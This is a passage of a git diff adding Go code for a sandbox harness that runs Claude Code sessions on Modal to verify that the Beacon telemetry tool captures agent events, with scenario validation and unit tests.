diff --git a/beacon-sandbox/sandbox/modal.go b/beacon-sandbox/sandbox/modal.go
new file mode 100644
index 00000000..b1aa82f2
--- /dev/null
+++ b/beacon-sandbox/sandbox/modal.go
@@ -0,0 +1,277 @@
+package sandbox
+
+import (
+ "context"
+ "fmt"
+ "io"
+ "sort"
+ "strings"
+ "sync"
+ "time"
+
+ modal "github.com/modal-labs/modal-client/go"
+)
+
+// Modal is the Provider backed by Modal sandboxes.
+//
+// Facts established empirically in m0 that this implementation depends on:
+// - Images build from raw Dockerfile lines; there is no build-context COPY, so
+// artifact files are pushed into a live instance and snapshotted instead.
+// - Exec returns truthful exit codes with separate stdout/stderr.
+// - Timeout defaults to 5 minutes; exceeding it kills the instance and subsequent
+// Exec calls fail with "The Sandbox is unavailable".
+// - Neither lane gives the entrypoint PID 1.
+type Modal struct {
+ client *modal.Client
+ app *modal.App
+}
+
+type modalImage struct{ img *modal.Image }
+
+func (m modalImage) Ref() string { return m.img.ImageID }
+
+type modalInstance struct{ sb *modal.Sandbox }
+
+func (m modalInstance) ID() string { return m.sb.SandboxID }
+
+// NewModal connects using the ambient Modal credentials (MODAL_TOKEN_ID/SECRET, or the
+// active profile in ~/.modal.toml) and resolves the app, creating it if absent.
+func NewModal(ctx context.Context, appName string) (*Modal, error) {
+ client, err := modal.NewClient()
+ if err != nil {
+ return nil, fmt.Errorf("modal client: %w", err)
+ }
+ app, err := client.Apps.FromName(ctx, appName, &modal.AppFromNameParams{CreateIfMissing: true})
+ if err != nil {
+ client.Close()
+ return nil, fmt.Errorf("modal app %q: %w", appName, err)
+ }
+ return &Modal{client: client, app: app}, nil
+}
+
+func (m *Modal) Close() {
+ if m.client != nil {
+ m.client.Close()
+ }
+}
+
+func (m *Modal) Name() string { return "modal" }
+
+func (m *Modal) EnsureImage(ctx context.Context, spec ImageSpec) (Image, error) {
+ img := m.client.Images.FromRegistry(spec.Base, nil)
+ if len(spec.Layers) > 0 {
+ img = img.DockerfileCommands(spec.Layers, nil)
+ }
+ built, err := img.Build(ctx, m.app, nil)
+ if err != nil {
+ return nil, fmt.Errorf("build image from %s: %w", spec.Base, err)
+ }
+ if len(spec.Files) == 0 {
+ return modalImage{built}, nil
+ }
+
+ // No build-context COPY in the SDK: stage the files into a live instance and
+ // snapshot. Modal content-addresses the result, so this is cached like any layer.
+ //
+ // The timeout has to cover pushing every artifact plus the snapshot, not just the push.
+ // At 8 minutes this intermittently expired mid-stage on ~67MB of binaries, and the
+ // failure surfaces as a confusing "Sandbox has already shut down" from the *next* call
+ // rather than as a timeout, so it is worth being generous here.
+ inst, err := m.Launch(ctx, modalImage{built}, LaunchSpec{
+ CPU: 2, MemLimitMiB: 2048, Timeout: 25 * time.Minute,
+ })
+ if err != nil {
+ return nil, fmt.Errorf("stage instance for file layer: %w", err)
+ }
+ defer m.Terminate(ctx, inst)
+
+ // Deterministic order so the resulting snapshot is content-addressed consistently
+ // across runs; map iteration order would otherwise defeat Modal's image cache.
+ remotes := make([]string, 0, len(spec.Files))
+ for remote := range spec.Files {
+ remotes = append(remotes, remote)
+ }
+ sort.Strings(remotes)
+ for _, remote := range remotes {
+ if err := m.Put(ctx, inst, spec.Files[remote], remote); err != nil {
+ return nil, fmt.Errorf("stage %s -> %s: %w", spec.Files[remote], remote, err)
+ }
+ }
+ return m.Snapshot(ctx, inst)
+}
+
+func (m *Modal) Snapshot(ctx context.Context, inst Instance) (Image, error) {
+ mi, ok := inst.(modalInstance)
+ if !ok {
+ return nil, fmt.Errorf("snapshot: unexpected instance type %T", inst)
+ }
+ snap, err := mi.sb.SnapshotFilesystem(ctx, nil)
+ if err != nil {
+ return nil, fmt.Errorf("snapshot filesystem: %w", err)
+ }
+ return modalImage{snap}, nil
+}
+
+func (m *Modal) Launch(ctx context.Context, img Image, spec LaunchSpec) (Instance, error) {
+ mi, ok := img.(modalImage)
+ if !ok {
+ return nil, fmt.Errorf("launch: unexpected image type %T", img)
+ }
+
+ params := &modal.SandboxCreateParams{
+ CPU: spec.CPU,
+ MemoryMiB: spec.MemLimitMiB,
+ Timeout: spec.Timeout,
+ Workdir: spec.Workdir,
+ Env: spec.Env,
+ }
+ params.Command = spec.Command
+ if len(params.Command) == 0 {
+ params.Command = []string{"sleep", "infinity"}
+ }
+ if spec.Lane == LaneVM {
+ params.ExperimentalOptions = map[string]any{"vm_runtime": true}
+ }
+ // Named secrets first, then inline ones. Modal applies later secrets over earlier, so an
+ // explicitly supplied value wins over a stored one of the same key.
+ for _, name := range spec.SecretNames {
+ sec, err := m.client.Secrets.FromName(ctx, name, nil)
+ if err != nil {
+ return nil, fmt.Errorf("resolve secret %q: %w (create it with `modal secret create %s ANTHROPIC_API_KEY=…`)", name, err, name)
+ }
+ params.Secrets = append(params.Secrets, sec)
+ }
+ if len(spec.Secrets) > 0 {
+ sec, err := m.client.Secrets.FromMap(ctx, spec.Secrets, nil)
+ if err != nil {
+ return nil, fmt.Errorf("create secret: %w", err)
+ }
+ params.Secrets = append(params.Secrets, sec)
+ }
+ switch {
+ case spec.BlockEgress:
+ params.BlockNetwork = true
+ case len(spec.EgressAllowDomains) > 0:
+ params.OutboundDomainAllowlist = &modal.Allowlist{Entries: spec.EgressAllowDomains}
+ }
+
+ sb, err := m.client.Sandboxes.Create(ctx, m.app, mi.img, params)
+ if err != nil {
+ return nil, fmt.Errorf("create sandbox: %w", err)
+ }
+ return modalInstance{sb}, nil
+}
+
+func (m *Modal) Exec(ctx context.Context, inst Instance, script string, opts ExecOpts) (Result, error) {
+ mi, ok := inst.(modalInstance)
+ if !ok {
+ return Result{}, fmt.Errorf("exec: unexpected instance type %T", inst)
+ }
+ if opts.Timeout > 0 {
+ var cancel context.CancelFunc
+ ctx, cancel = context.WithTimeout(ctx, opts.Timeout)
+ defer cancel()
+ }
+
+ argv := buildArgv(script, opts)
+ p, err := mi.sb.Exec(ctx, argv, nil)
+ if err != nil {
+ return Result{}, fmt.Errorf("exec: %w", err)
+ }
+ out, errb, outErr, errErr := drainStreams(p.Stdout, p.Stderr)
+
+ code, werr := p.Wait(ctx, nil)
+ res := Result{ExitCode: code, Stdout: string(out), Stderr: string(errb)}
+ if werr != nil {
+ return res, fmt.Errorf("wait: %w", werr)
+ }
+ // Surfaced rather than ignored: a truncated stream means the captured output is incomplete,
+ // and this output is what every verdict is built from.
+ if outErr != nil {
+ return res, fmt.Errorf("read stdout: %w", outErr)
+ }
+ if errErr != nil {
+ return res, fmt.Errorf("read stderr: %w", errErr)
+ }
+ return res, nil
+}
+
+// drainStreams reads stdout and stderr concurrently.
+//
+// Concurrency is the whole point, not a nicety. Reading stdout to completion before touching
+// stderr deadlocks whenever the guest writes enough to stderr to fill its pipe buffer: the process
+// blocks on that write, so it never exits and never closes stdout, so the read never returns.
+// Verbose failures are exactly when that happens, which is exactly when this tool is being used to
+// find out what went wrong. Reported by the Copilot reviewer.
+//
+// Read errors are returned rather than discarded: a truncated stream means the captured output is
+// incomplete, and every verdict is built from that output.
+func drainStreams(stdout, stderr io.Reader) (out, errb []byte, outErr, errErr error) {
+ var wg sync.WaitGroup
+ wg.Add(2)
+ go func() { defer wg.Done(); out, outErr = io.ReadAll(stdout) }()
+ go func() { defer wg.Done(); errb, errErr = io.ReadAll(stderr) }()
+ wg.Wait()
+ return out, errb, outErr, errErr
+}
+
+// buildArgv wraps a shell script for the requested user and environment.
+//
+// `su -` (login shell) resets the environment and strips injected secrets, which silently
+// broke an early run: Claude Code could not authenticate, so it never ran the tool and the
+// telemetry gap looked like a Beacon bug. `su -p` preserves the environment, but then HOME
+// and PATH must be set explicitly. The secret value itself is never placed in argv.
+func buildArgv(script string, opts ExecOpts) []string {
+ var pre []string
+ if opts.HomeDir != "" {
+ pre = append(pre, "export HOME="+shellQuote(opts.HomeDir))
+ }
+ if len(opts.PathPrepend) > 0 {
+ pre = append(pre, "export PATH="+shellQuote(strings.Join(opts.PathPrepend, ":"))+":$PATH")
+ }
+ if opts.Dir != "" {
+ pre = append(pre, "cd "+shellQuote(opts.Dir))
+ }
+ full := script
+ if len(pre) > 0 {
+ full = strings.Join(pre, "; ") + "; " + script
+ }
+
+ if opts.User == "" || opts.User == "root" {
+ return []string{"bash", "-c", full}
+ }
+ flag := "-"
+ if opts.PreserveEnv {
+ flag = "-p"
+ }
+ return []string{"su", flag, opts.User, "-c", full}
+}
+
+func shellQuote(s string) string {
+ return "'" + strings.ReplaceAll(s, "'", `'\''`) + "'"
+}
+
+func (m *Modal) Put(ctx context.Context, inst Instance, localPath, remotePath string) error {
+ mi, ok := inst.(modalInstance)
+ if !ok {
+ return fmt.Errorf("put: unexpected instance type %T", inst)
+ }
+ return mi.sb.Filesystem.CopyFromLocal(ctx, localPath, remotePath, nil)
+}
+
+func (m *Modal) Get(ctx context.Context, inst Instance, remotePath, localPath string) error {
+ mi, ok := inst.(modalInstance)
+ if !ok {
+ return fmt.Errorf("get: unexpected instance type %T", inst)
+ }
+ return mi.sb.Filesystem.CopyToLocal(ctx, remotePath, localPath, nil)
+}
+
+func (m *Modal) Terminate(ctx context.Context, inst Instance) error {
+ mi, ok := inst.(modalInstance)
+ if !ok {
+ return fmt.Errorf("terminate: unexpected instance type %T", inst)
+ }
+ _, err := mi.sb.Terminate(ctx, nil)
+ return err
+}
diff --git a/beacon-sandbox/sandbox/provider.go b/beacon-sandbox/sandbox/provider.go
new file mode 100644
index 00000000..6bf5073f
--- /dev/null
+++ b/beacon-sandbox/sandbox/provider.go
@@ -0,0 +1,118 @@
+// Package sandbox abstracts "somewhere disposable to run a Beacon + agent session".
+//
+// Only this package knows about Modal. Everything above it works against Provider, so
+// adding a backend later (the deferred Lume/macOS substrate, a plain SSH host, another
+// cloud) is one file and no redesign.
+package sandbox
+
+import (
+ "context"
+ "time"
+)
+
+// Lane selects the isolation technology. Modal's default gVisor lane is fast and cheap
+// but cannot host an init system; the VM lane has a real kernel. M0 established that
+// neither makes your entrypoint PID 1, so systemd work needs the nested recipe.
+type Lane string
+
+const (
+ LaneDefault Lane = "gvisor"
+ LaneVM Lane = "vm"
+)
+
+// ImageSpec describes a reproducible environment. Layers are ordered and cached by the
+// provider, so an unchanged prefix is free on re-run.
+type ImageSpec struct {
+ // Base registry reference, e.g. "ubuntu:24.04".
+ Base string
+ // Layers are provider-neutral build steps. The Modal provider renders these as
+ // Dockerfile lines; another provider might script them over SSH.
+ Layers []string
+ // Files pushed in after the layers, keyed by remote path. Used for build artifacts
+ // that have no stable registry location -- the Beacon binaries under test.
+ Files map[string]string
+}
+
+// LaunchSpec describes one disposable instance.
+type LaunchSpec struct {
+ Lane Lane
+ CPU float64
+ MemLimitMiB int
+ Timeout time.Duration
+ Workdir string
+ // Command is the entrypoint. Empty means "stay alive and wait for Exec".
+ Command []string
+ // Env is non-secret environment.
+ Env map[string]string
+ // Secrets are injected as environment but must never reach argv, an image layer,
+ // or a collected artifact.
+ Secrets map[string]string
+ // SecretNames reference secrets already stored with the provider, by name. The value
+ // never passes through this process, which is the safest option -- at the cost of the
+ // leak check having no value to search collected artifacts for, so it degrades to
+ // "unverified" rather than falsely reporting clean.
+ SecretNames []string
+ // EgressAllowDomains restricts outbound network to these domains. Empty means
+ // unrestricted; BlockEgress overrides it entirely. Loopback always works, which is
+ // what the local collector needs.
+ EgressAllowDomains []string
+ BlockEgress bool
+}
+
+// ExecOpts tunes a single command.
+type ExecOpts struct {
+ // User runs the command as an unprivileged account. Claude Code refuses
+ // --dangerously-skip-permissions as root, so sessions must not run as root.
+ User string
+ // Dir is the working directory.
+ Dir string
+ // Timeout bounds this command, independent of the instance lifetime.
+ Timeout time.Duration
+ // PreserveEnv keeps the caller's environment when switching user. Without it a
+ // login shell resets the environment and strips injected secrets -- this silently
+ // broke the first M0 run.
+ PreserveEnv bool
+ // HomeDir is exported as HOME, needed when PreserveEnv keeps the caller's HOME.
+ HomeDir string
+ // PathPrepend is prepended to PATH.
+ PathPrepend []string
+}
+
+// Result is the outcome of one command.
+type Result struct {
+ ExitCode int
+ Stdout string
+ Stderr string
+}
+
+// Image is an opaque provider handle to a built environment.
+type Image interface {
+ // Ref is a stable identifier, recorded in run metadata for reproducibility.
+ Ref() string
+}
+
+// Instance is a live disposable environment.
+type Instance interface {
+ // ID is a stable identifier for logs and debugging.
+ ID() string
+}
+
+// Provider is the whole backend contract.
+type Provider interface {
+ // Name identifies the backend in run metadata.
+ Name() string
+
+ // EnsureImage builds or resolves an environment. Implementations should be
+ // idempotent and lean on content-addressed caching.
+ EnsureImage(ctx context.Context, spec ImageSpec) (Image, error)
+
+ // Snapshot captures an instance's filesystem as a reusable image. This is how a
+ // "golden" layer is produced when artifacts cannot be baked in at build time.
+ Snapshot(ctx context.Context, inst Instance) (Image, error)
+
+ Launch(ctx context.Context, img Image, spec LaunchSpec) (Instance, error)
+ Exec(ctx context.Context, inst Instance, script string, opts ExecOpts) (Result, error)
+ Put(ctx context.Context, inst Instance, localPath, remotePath string) error
+ Get(ctx context.Context, inst Instance, remotePath, localPath string) error
+ Terminate(ctx context.Context, inst Instance) error
+}
diff --git a/beacon-sandbox/scenario/scenario.go b/beacon-sandbox/scenario/scenario.go
new file mode 100644
index 00000000..470b501a
--- /dev/null
+++ b/beacon-sandbox/scenario/scenario.go
@@ -0,0 +1,240 @@
+// Package scenario defines what to ask the agent and what Beacon must then show.
+//
+// The checking model is deliberately small: plant a unique canary in the prompt, have the
+// command leave a sentinel file, then assert Beacon's log contains events matching the
+// declared expectations. The canary makes matching exact; the sentinel makes a missing
+// event unambiguous -- if the agent never acted there is nothing for Beacon to have missed,
+// so the run is INCONCLUSIVE rather than FAIL.
+package scenario
+
+import (
+ "fmt"
+ "os"
+ "path"
+ "path/filepath"
+ "strings"
+ "time"
+
+ "gopkg.in/yaml.v3"
+)
+
+// Expect is one assertion against the captured event stream.
+type Expect struct {
+ // Action matches event.action exactly, e.g. "command.executed".
+ Action string `yaml:"action"`
+ // Contains requires these substrings somewhere in the matched event's JSON. Use
+ // {{canary}} to reference the run's canary.
+ Contains []string `yaml:"contains,omitempty"`
+ // Fields requires these dotted paths to be present and non-empty, e.g.
+ // "command.command" or "file.path". This is how we assert the field population that
+ // threat rules depend on, rather than just event presence.
+ Fields []string `yaml:"fields,omitempty"`
+ // MinCount defaults to 1.
+ MinCount int `yaml:"min_count,omitempty"`
+ // Optional records the expectation without failing the run. Use for signals that
+ // are known-missing and tracked in BACKLOG.md, so a regression is still visible.
+ Optional bool `yaml:"optional,omitempty"`
+ // Why explains what this expectation protects, and is printed on failure.
+ Why string `yaml:"why,omitempty"`
+}
+
+// Scenario is one declarative case.
+type Scenario struct {
+ ID string `yaml:"id"`
+ Prompt string `yaml:"prompt"`
+ // Sentinel is a path the agent's work must create. Its presence proves the agent
+ // acted; its absence makes the run inconclusive.
+ Sentinel string `yaml:"sentinel,omitempty"`
+ // Setup runs as the agent user before the session, for planting fixtures.
+ Setup string `yaml:"setup,omitempty"`
+ // Tools restricts Claude Code's tool set, tightening what a run can do.
+ Tools []string `yaml:"tools,omitempty"`
+ // DisallowedTools forces denials, exercising the approval path.
+ DisallowedTools []string `yaml:"disallowed_tools,omitempty"`
+ // Cwd is relative to the work dir.
+ Cwd string `yaml:"cwd,omitempty"`
+ // BudgetUSD caps spend for the session.
+ BudgetUSD float64 `yaml:"budget_usd,omitempty"`
+ // TimeoutSeconds bounds the session.
+ TimeoutSeconds int `yaml:"timeout_seconds,omitempty"`
+ // BlockEgress denies all outbound network. Only useful for scenarios that need no
+ // model call, since Claude Code needs the API.
+ BlockEgress bool `yaml:"block_egress,omitempty"`
+ Expect []Expect `yaml:"expect"`
+}
+
+// Suite is an ordered set of scenarios loaded from a directory.
+type Suite struct {
+ Name string
+ Scenarios []Scenario
+}
+
+// Timeout resolves the session bound with a sane default.
+func (s Scenario) Timeout() time.Duration {
+ if s.TimeoutSeconds > 0 {
+ return time.Duration(s.TimeoutSeconds) * time.Second
+ }
+ return 10 * time.Minute
+}
+
+// Budget resolves the spend cap with a sane default.
+func (s Scenario) Budget() float64 {
+ if s.BudgetUSD > 0 {
+ return s.BudgetUSD
+ }
+ return 1.0
+}
+
+// Validate catches scenario authoring mistakes before a sandbox is paid for.
+func (s Scenario) Validate() error {
+ if strings.TrimSpace(s.ID) == "" {
+ return fmt.Errorf("scenario is missing id")
+ }
+ if strings.TrimSpace(s.Prompt) == "" {
+ return fmt.Errorf("%s: prompt is required", s.ID)
+ }
+ if len(s.Expect) == 0 {
+ return fmt.Errorf("%s: at least one expectation is required, else the run asserts nothing", s.ID)
+ }
+ for i, e := range s.Expect {
+ if strings.TrimSpace(e.Action) == "" {
+ return fmt.Errorf("%s: expect[%d] is missing action", s.ID, i)
+ }
+ // A setup step that writes the sentinel makes the gate unfalsifiable: the file is present
+ // before the agent runs, so INCONCLUSIVE can never fire and an idle agent is misreported as
+ // a capture failure. s04 shipped with exactly this mistake, so the rule is enforced here
+ // rather than left to review.
+ //
+ // Checked after expansion, not on the raw text. A first version matched only the literal
+ // "{{sentinel}}" placeholder, which a setup writing the sentinel's real path -- or building
+ // it from {{workdir}} -- walked straight past. Cursor Bugbot pointed out that the guard was
+ // narrower than the rule it claimed to enforce.
+ if s.Sentinel != "" && s.Setup != "" {
+ if target, why := setupPlantsSentinel(s.Setup, s.Sentinel); target != "" {
+ return fmt.Errorf("%s: setup %s, which makes the sentinel present regardless of "+
+ "what the agent does; the sentinel must be produced by the agent", s.ID, why)
+ }
+ }
+
+ // A dotted path with an empty segment silently never resolves, so a typo like
+ // "command..command" would make an expectation quietly unsatisfiable rather than
+ // failing loudly here.
+ for _, f := range e.Fields {
+ if strings.TrimSpace(f) == "" || strings.Contains(f, "..") ||
+ strings.HasPrefix(f, ".") || strings.HasSuffix(f, ".") {
+ return fmt.Errorf("%s: expect[%d] has malformed field path %q", s.ID, i, f)
+ }
+ }
+ }
+ return nil
+}
+
+// Load reads one scenario file.
+func Load(path string) (Scenario, error) {
+ var s Scenario
+ b, err := os.ReadFile(path)
+ if err != nil {
+ return s, err
+ }
+ if err := yaml.Unmarshal(b, &s); err != nil {
+ return s, fmt.Errorf("%s: %w", filepath.Base(path), err)
+ }
+ if err := s.Validate(); err != nil {
+ return s, err
+ }
+ return s, nil
+}
+
+// LoadSuite reads every *.yaml in dir, sorted by filename so ordering is deterministic.
+func LoadSuite(dir string) (Suite, error) {
+ paths, err := filepath.Glob(filepath.Join(dir, "*.yaml"))
+ if err != nil {
+ return Suite{}, err
+ }
+ if len(paths) == 0 {
+ return Suite{}, fmt.Errorf("no scenarios found in %s", dir)
+ }
+ suite := Suite{Name: filepath.Base(dir)}
+ for _, p := range paths {
+ s, err := Load(p)
+ if err != nil {
+ return Suite{}, err
+ }
+ suite.Scenarios = append(suite.Scenarios, s)
+ }
+ return suite, nil
+}
+
+// Expand substitutes run-scoped placeholders into a template string.
+func Expand(tmpl string, canary, sentinel, workdir string) string {
+ r := strings.NewReplacer(
+ "{{canary}}", canary,
+ "{{sentinel}}", sentinel,
+ "{{workdir}}", workdir,
+ )
+ return r.Replace(tmpl)
+}
+
+// setupPlantsSentinel reports whether a setup step would create the sentinel before the session.
+//
+// Expansion happens first so the three equivalent spellings are all caught: the {{sentinel}}
+// placeholder, the sentinel's literal path, and a path assembled from {{workdir}}. The basename
+// is also checked, because "{{workdir}}/x" and a sentinel of "/home/agent/work/x" only agree
+// once the real workdir is known, which this package deliberately does not import.
+func setupPlantsSentinel(setup, sentinel string) (target, why string) {
+ const (
+ probeCanary = "PROBE_CANARY"
+ probeWorkdir = "PROBE_WORKDIR"
+ )
+ sent := Expand(sentinel, probeCanary, "", probeWorkdir)
+ exp := Expand(setup, probeCanary, sent, probeWorkdir)
+
+ // Boundary-aware for the full path too, not just the basename: a plain substring test made
+ // "> /home/agent/work/out.txt.bak" look like it wrote /home/agent/work/out.txt.
+ if sent != "" && containsPathElement(exp, sent) {
+ return sent, fmt.Sprintf("writes the sentinel path %q", sent)
+ }
+ // A trailing path element match catches {{workdir}}-relative spellings of the same file, but
+ // it has to respect path boundaries. A bare substring test rejected valid setups: a sentinel
+ // named out.txt matched a fixture called timeout.txt or layout.txt, so a legitimate scenario
+ // could not be written at all. Cursor Bugbot caught the false positive.
+ if base := path.Base(sent); base != "" && base != "." && base != "/" {
+ if containsPathElement(exp, base) {
+ return base, fmt.Sprintf("writes %q, the sentinel's file name", base)
+ }
+ }
+ return "", ""
+}
+
+// containsPathElement reports whether name appears in text as a whole final path element rather
+// than as an arbitrary substring, so "out.txt" does not match "timeout.txt".
+func containsPathElement(text, name string) bool {
+ for i := 0; ; {
+ j := strings.Index(text[i:], name)
+ if j < 0 {
+ return false
+ }
+ start := i + j
+ end := start + len(name)
+ // The character before must not extend the file name -- a separator or any
+ // non-filename character (space, quote, redirect) is a real boundary.
+ leftOK := start == 0 || !isFilenameByte(text[start-1])
+ // The character after must not extend it either, so "out.txt" does not match
+ // "out.txt.bak".
+ rightOK := end == len(text) || !isFilenameByte(text[end])
+ if leftOK && rightOK {
+ return true
+ }
+ i = start + 1
+ }
+}
+
+func isFilenameByte(b byte) bool {
+ switch {
+ case b >= 'a' && b <= 'z', b >= 'A' && b <= 'Z', b >= '0' && b <= '9':
+ return true
+ case b == '.' || b == '_' || b == '-':
+ return true
+ }
+ return false
+}
diff --git a/beacon-sandbox/scenario/scenario_test.go b/beacon-sandbox/scenario/scenario_test.go
new file mode 100644
index 00000000..3fe4de03
--- /dev/null
+++ b/beacon-sandbox/scenario/scenario_test.go
@@ -0,0 +1,317 @@
+package scenario
+
+import (
+ "os"
+ "path/filepath"
+ "strings"
+ "testing"
+ "time"
+)
+
+// Validate exists to catch authoring mistakes *before* a sandbox is paid for, so its reject
+// cases matter more than the accept case: a scenario that silently asserts nothing produces a
+// green run that means nothing.
+
+func valid() Scenario {
+ return Scenario{
+ ID: "t-valid",
+ Prompt: "run echo {{canary}}",
+ Expect: []Expect{{Action: "command.executed", Fields: []string{"command.command"}}},
+ }
+}
+
+func TestValidScenarioPasses(t *testing.T) {
+ if err := valid().Validate(); err != nil {
+ t.Fatalf("expected valid, got %v", err)
+ }
+}
+
+func TestValidateRejectsAuthoringMistakes(t *testing.T) {
+ cases := map[string]func(*Scenario){
+ "missing id": func(s *Scenario) { s.ID = "" },
+ "whitespace id": func(s *Scenario) { s.ID = " " },
+ "missing prompt": func(s *Scenario) { s.Prompt = "" },
+ "whitespace prompt": func(s *Scenario) { s.Prompt = "\t\n" },
+ "no expectations": func(s *Scenario) { s.Expect = nil },
+ "empty expectations": func(s *Scenario) { s.Expect = []Expect{} },
+ "expectation no action": func(s *Scenario) { s.Expect = []Expect{{Fields: []string{"a"}}} },
+ }
+ for name, mutate := range cases {
+ s := valid()
+ mutate(&s)
+ if err := s.Validate(); err == nil {
+ t.Errorf("%s: expected a validation error, got nil", name)
+ }
+ }
+}
+
+// A dotted path with an empty segment never resolves, so a typo would make an expectation
+// quietly unsatisfiable rather than failing loudly at load time.
+func TestValidateRejectsMalformedFieldPaths(t *testing.T) {
+ for _, bad := range []string{"", " ", "command..command", ".command", "command."} {
+ s := valid()
+ s.Expect[0].Fields = []string{bad}
+ err := s.Validate()
+ if err == nil {
+ t.Errorf("field path %q should be rejected", bad)
+ continue
+ }
+ if !strings.Contains(err.Error(), "malformed field path") {
+ t.Errorf("field path %q: error should name the problem, got %v", bad, err)
+ }
+ }
+ // A legitimately nested path must still be accepted.
+ s := valid()
+ s.Expect[0].Fields = []string{"gen_ai.usage.input_tokens"}
+ if err := s.Validate(); err != nil {
+ t.Errorf("nested path should be valid, got %v", err)
+ }
+}
+
+func TestDefaultsAreSane(t *testing.T) {
+ var s Scenario
+ if got := s.Timeout(); got != 10*time.Minute {
+ t.Errorf("default timeout = %v, want 10m", got)
+ }
+ if got := s.Budget(); got != 1.0 {
+ t.Errorf("default budget = %v, want 1.0", got)
+ }
+ s.TimeoutSeconds = 90
+ s.BudgetUSD = 0.25
+ if got := s.Timeout(); got != 90*time.Second {
+ t.Errorf("explicit timeout = %v, want 90s", got)
+ }
+ if got := s.Budget(); got != 0.25 {
+ t.Errorf("explicit budget = %v, want 0.25", got)
+ }
+ // A non-positive value must fall back rather than producing a zero budget that would make
+ // every session fail instantly.
+ s.TimeoutSeconds = -5
+ s.BudgetUSD = -1
+ if s.Timeout() != 10*time.Minute || s.Budget() != 1.0 {
+ t.Errorf("negative values should fall back to defaults, got %v / %v", s.Timeout(), s.Budget())
+ }
+}
+
+func TestExpandSubstitutesEveryPlaceholder(t *testing.T) {
+ got := Expand("marker={{canary}} file={{sentinel}} dir={{workdir}}", "CANARY1", "/tmp/s", "/work")
+ want := "marker=CANARY1 file=/tmp/s dir=/work"
+ if got != want {
+ t.Errorf("Expand = %q, want %q", got, want)
+ }
+ // Repeated placeholders must all be replaced, since prompts often mention the canary twice.
+ if got := Expand("{{canary}} and {{canary}}", "X", "", ""); got != "X and X" {
+ t.Errorf("repeated placeholder = %q", got)
+ }
+ // Unknown placeholders are left alone rather than silently blanked.
+ if got := Expand("{{unknown}}", "X", "", ""); got != "{{unknown}}" {
+ t.Errorf("unknown placeholder should pass through, got %q", got)
+ }
+}
+
+func writeScenario(t *testing.T, dir, name, body string) {
+ t.Helper()
+ if err := os.WriteFile(filepath.Join(dir, name), []byte(body), 0o600); err != nil {
+ t.Fatal(err)
+ }
+}
+
+func TestLoadValidatesOnRead(t *testing.T) {
+ dir := t.TempDir()
+ // Syntactically fine YAML, but asserts nothing.
+ writeScenario(t, dir, "bad.yaml", "id: bad\nprompt: hello\n")
+ if _, err := Load(filepath.Join(dir, "bad.yaml")); err == nil {
+ t.Fatal("Load must validate, not just parse")
+ }
+ writeScenario(t, dir, "malformed.yaml", "id: [unclosed\n")
+ if _, err := Load(filepath.Join(dir, "malformed.yaml")); err == nil {
+ t.Fatal("malformed YAML must error")
+ }
+ if _, err := Load(filepath.Join(dir, "absent.yaml")); err == nil {
+ t.Fatal("a missing file must error")
+ }
+}
+
+func TestLoadSuiteIsDeterministicallyOrdered(t *testing.T) {
+ dir := t.TempDir()
+ body := "id: %s\nprompt: p {{canary}}\nexpect:\n - action: prompt.submitted\n"
+ // Written out of order on purpose; suite order must not depend on filesystem order.
+ for _, id := range []string{"s03", "s01", "s02"} {
+ writeScenario(t, dir, id+".yaml", strings.Replace(body, "%s", id, 1))
+ }
+ suite, err := LoadSuite(dir)
+ if err != nil {
+ t.Fatal(err)
+ }
+ var ids []string
+ for _, s := range suite.Scenarios {
+ ids = append(ids, s.ID)
+ }
+ if strings.Join(ids, ",") != "s01,s02,s03" {
+ t.Errorf("suite order = %v, want sorted by filename", ids)
+ }
+}
+
+// An empty directory must error rather than reporting a vacuous pass over zero scenarios.
+func TestLoadSuiteRejectsEmptyDirectory(t *testing.T) {
+ if _, err := LoadSuite(t.TempDir()); err == nil {
+ t.Fatal("an empty suite must error, not silently assert nothing")
+ }
+}
+
+func TestLoadSuitePropagatesAnInvalidScenario(t *testing.T) {
+ dir := t.TempDir()
+ writeScenario(t, dir, "ok.yaml", "id: ok\nprompt: p\nexpect:\n - action: prompt.submitted\n")
+ writeScenario(t, dir, "broken.yaml", "id: broken\nprompt: p\n")
+ if _, err := LoadSuite(dir); err == nil {
+ t.Fatal("one invalid scenario must fail the whole suite load")
+ }
+}
+
+// The real shipped scenarios must stay valid; this catches a typo in a YAML edit without
+// needing a sandbox.
+func TestShippedScenariosAreValid(t *testing.T) {
+ suite, err := LoadSuite("../scenarios")
+ if err != nil {
+ t.Fatalf("shipped scenarios failed to load: %v", err)
+ }
+ if len(suite.Scenarios) == 0 {
+ t.Fatal("expected shipped scenarios")
+ }
+ seen := map[string]bool{}
+ for _, s := range suite.Scenarios {
+ if seen[s.ID] {
+ t.Errorf("duplicate scenario id %q", s.ID)
+ }
+ seen[s.ID] = true
+ // Every expectation should explain itself, or a failure is uninterpretable by whoever
+ // reads the verdict.
+ for i, e := range s.Expect {
+ if strings.TrimSpace(e.Why) == "" {
+ t.Errorf("%s: expect[%d] (%s) has no `why`; a failing check must explain what it protects",
+ s.ID, i, e.Action)
+ }
+ }
+ }
+}
+
+// A setup step that writes the sentinel makes the gate unfalsifiable: the file exists before the
+// agent runs, so INCONCLUSIVE can never fire and an idle agent gets misreported as a capture
+// failure. s04 shipped with exactly this (`cp fixture {{sentinel}}`) until Cursor Bugbot caught
+// it, so the rule is enforced rather than left to review.
+func TestSetupMayNotPlantTheSentinel(t *testing.T) {
+ sc := Scenario{
+ ID: "bad",
+ Prompt: "do a thing",
+ Sentinel: "/home/agent/work/out.txt",
+ Setup: "cp /home/agent/work/fixture/notes.txt {{sentinel}}",
+ Expect: []Expect{{Action: "prompt.submitted", Why: "baseline"}},
+ }
+ err := sc.Validate()
+ if err == nil {
+ t.Fatal("a setup that writes the sentinel must be rejected")
+ }
+ if !strings.Contains(err.Error(), "regardless of what the agent does") {
+ t.Errorf("the error should explain why this is unfalsifiable, got: %v", err)
+ }
+}
+
+// Setup is still allowed to build fixtures the agent will act on -- only the sentinel is off
+// limits, or every read-style scenario would become unwritable.
+func TestSetupMayStillCreateFixtures(t *testing.T) {
+ sc := Scenario{
+ ID: "ok",
+ Prompt: "read the fixture and write the answer to {{sentinel}}",
+ Sentinel: "/home/agent/work/answer.txt",
+ Setup: "printf 'line {{canary}}\\n' > /home/agent/work/fixture/notes.txt",
+ Expect: []Expect{{Action: "file.read", Why: "the point of the scenario"}},
+ }
+ if err := sc.Validate(); err != nil {
+ t.Errorf("a fixture-building setup must remain valid: %v", err)
+ }
+}
+
+// The guard must catch every spelling of "setup creates the sentinel", not just the placeholder.
+// A first version matched only the literal "{{sentinel}}" string, so a setup writing the real
